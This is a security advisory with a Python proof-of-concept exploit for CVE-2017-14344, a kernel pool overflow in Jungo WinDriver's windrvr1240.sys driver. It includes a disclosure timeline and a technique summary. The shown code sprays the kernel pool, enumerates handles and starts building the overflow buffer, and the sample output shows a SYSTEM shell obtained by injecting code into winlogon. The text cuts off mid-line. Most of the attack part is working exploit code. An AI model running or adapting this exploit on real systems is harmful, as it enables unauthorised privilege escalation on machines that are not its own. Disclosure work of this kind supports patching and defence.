SRC-2017-0027 : Jungo DriverWizard WinDriver Kernel Pool Overflow Privilege Escalation Vulnerability

# -*- coding: utf-8 -*-
"""
Jungo DriverWizard WinDriver Kernel Pool Overflow Vulnerability

Download: http://www.jungo.com/st/products/windriver/
File:     WD1240.EXE
Sha1:     3527cc974ec885166f0d96f6aedc8e542bb66cba
Driver:   windrvr1240.sys
Sha1:     0f212075d86ef7e859c1941f8e5b9e7a6f2558ad
CVE:      CVE-2017-14344
Author:   Steven Seeley (mr_me) of Source Incite
Affected: <= v12.4.0
Thanks:   @dronesec & @FuzzySec !

Summary:
========

This vulnerability allows local attackers to escalate privileges on vulnerable installations of Jungo WinDriver. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. 

The specific flaw exists within the processing of IOCTL 0x95382673 by the windrvr1240 kernel driver. The issue lies in the failure to properly validate user-supplied data which can result in a kernel pool overflow. An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.

Timeline:
=========

2017-08-22 – Verified and sent to Jungo via sales@/first@/security@/[email protected]
2017-08-25 – No response from Jungo and two bounced emails
2017-08-26 – Attempted a follow up with the vendor via website chat
2017-08-26 – No response via the website chat
2017-09-03 – Recieved an email from a Jungo representative stating that they are "looking into it"
2017-09-03 – Requested a timeframe for patch development and warned of possible 0day release
2017-09-06 – No response from Jungo
2017-09-06 – Public 0day release of advisory

Exploitation:
=============

This exploit uses a data only attack via the Quota Process Pointer Overwrite technique. We smash the token's _SEP_TOKEN_PRIVILEGES->Enabled and dec the controlled address by 0x50 (size of the Mutant) to enable SeDebugPrivilege's. Then we inject code into a system process.

Note that this exploit doesn't use any kernel mode shellcode :->

References:
===========

- https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf
- https://github.com/hatRiot/token-priv

Example:
========

C:\Users\user\Desktop>whoami
debugee\user

C:\Users\user\Desktop>poc.py

        --[ Jungo DriverWizard WinDriver Kernel Pool Overflow EoP exploit ]
                       Steven Seeley (mr_me) of Source Incite

(+) attacking WinDrvr1240 for a data only attack...
(+) sprayed the pool!
(+) made the pool holes!
(+) leaked token 0xa15535a0
(+) triggering pool overflow...
(+) allocating pool overflow input buffer
(+) elevating privileges!
(+) got a handle to winlogon! 0x2bd10
(+) allocated shellcode in winlogon @ 0xc0000
(+) WriteProcessMemory returned: 0x1
(+) RtlCreateUserThread returned: 0x0
(+) popped a SYSTEM shell!

C:\Users\user\Desktop>

in another terminal...

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>
"""
from ctypes import *
from ctypes.wintypes import *
import struct, sys, os, time, psutil
from platform import release, architecture

ntdll    = windll.ntdll
kernel32 = windll.kernel32
MEM_COMMIT             = 0x00001000
MEM_RESERVE            = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
STATUS_SUCCESS              = 0x0
STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
STATUS_INVALID_HANDLE       = 0xC0000008
SystemExtendedHandleInformation = 64

class LSA_UNICODE_STRING(Structure):
    """Represent the LSA_UNICODE_STRING on ntdll."""
    _fields_ = [
        ("Length", USHORT),
        ("MaximumLength", USHORT),
        ("Buffer", LPWSTR),
    ]

class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
    """Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll."""
    _fields_ = [
        ("Object", c_void_p),
        ("UniqueProcessId", ULONG),
        ("HandleValue", ULONG),
        ("GrantedAccess", ULONG),
        ("CreatorBackTraceIndex", USHORT),
        ("ObjectTypeIndex", USHORT),
        ("HandleAttributes", ULONG),
        ("Reserved", ULONG),
    ]
 
class SYSTEM_HANDLE_INFORMATION_EX(Structure):
    """Represent the SYSTEM_HANDLE_INFORMATION on ntdll."""
    _fields_ = [
        ("NumberOfHandles", ULONG),
        ("Reserved", ULONG),
        ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),
    ]

class PUBLIC_OBJECT_TYPE_INFORMATION(Structure):
    """Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll."""
    _fields_ = [
        ("Name", LSA_UNICODE_STRING),
        ("Reserved", ULONG * 22),
    ]

class PROCESSENTRY32(Structure):
    _fields_ = [
        ("dwSize", c_ulong),
        ("cntUsage", c_ulong),
        ("th32ProcessID", c_ulong),
        ("th32DefaultHeapID", c_int),
        ("th32ModuleID", c_ulong),
        ("cntThreads", c_ulong),
        ("th32ParentProcessID", c_ulong),
        ("pcPriClassBase", c_long),
        ("dwFlags", c_ulong),
        ("szExeFile", c_wchar * MAX_PATH)
    ]

def signed_to_unsigned(signed):
    """
    Convert signed to unsigned integer.
    """
    unsigned, = struct.unpack ("L", struct.pack ("l", signed))
    return unsigned
                
def get_type_info(handle):
    """
    Get the handle type information to find our sprayed objects.
    """
    public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION()
    size = DWORD(sizeof(public_object_type_information))
    while True:
        result = signed_to_unsigned(
            ntdll.NtQueryObject(
                handle, 2, byref(public_object_type_information), size, None))
        if result == STATUS_SUCCESS:
            return public_object_type_information.Name.Buffer
        elif result == STATUS_INFO_LENGTH_MISMATCH:
            size = DWORD(size.value * 4)
            resize(public_object_type_information, size.value)
        elif result == STATUS_INVALID_HANDLE:
            return None
        else:
            raise x_file_handles("NtQueryObject.2", hex (result))

def get_handles():
    """
    Return all the processes handles in the system at the time.
    Can be done from LI (Low Integrity) level on Windows 7 x86.
    """
    system_handle_information = SYSTEM_HANDLE_INFORMATION_EX()
    size = DWORD (sizeof (system_handle_information))
    while True:
        result = ntdll.NtQuerySystemInformation(
            SystemExtendedHandleInformation,
            byref(system_handle_information),
            size,
            byref(size)
        )
        result = signed_to_unsigned(result)
        if result == STATUS_SUCCESS:
            break
        elif result == STATUS_INFO_LENGTH_MISMATCH:
            size = DWORD(size.value * 4)
            resize(system_handle_information, size.value)
        else:
            raise x_file_handles("NtQuerySystemInformation", hex(result))

    pHandles = cast(
        system_handle_information.Handles,
        POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \
                system_handle_information.NumberOfHandles)
    )
    for handle in pHandles.contents:
        yield handle.UniqueProcessId, handle.HandleValue, handle.Object

def we_can_spray():
    """
    Spray the Kernel Pool with Mutant Objects. The Mutant object is 0x50 in length, 0x460 % 0x50 = 0.
    These are allocated from the Nonpaged kernel pool.
    """
    handles = []
    for i in range(0, 50000):
        handles.append(windll.kernel32.CreateMutexA(None, False, None))

    # could do with some better validation
    if len(handles) == 50000:
        return True
    return False

def alloc_pool_overflow_buffer(base, input_size):
    """
    Craft our special buffer to trigger the overflow.
    """
    print "(+) allocating pool overflow input buffer"
    baseadd   = c_int(base)
    size = c_int(input_size)
    priv = token + 0x40 + 0x8                  # Enabled

    input  = struct.pack("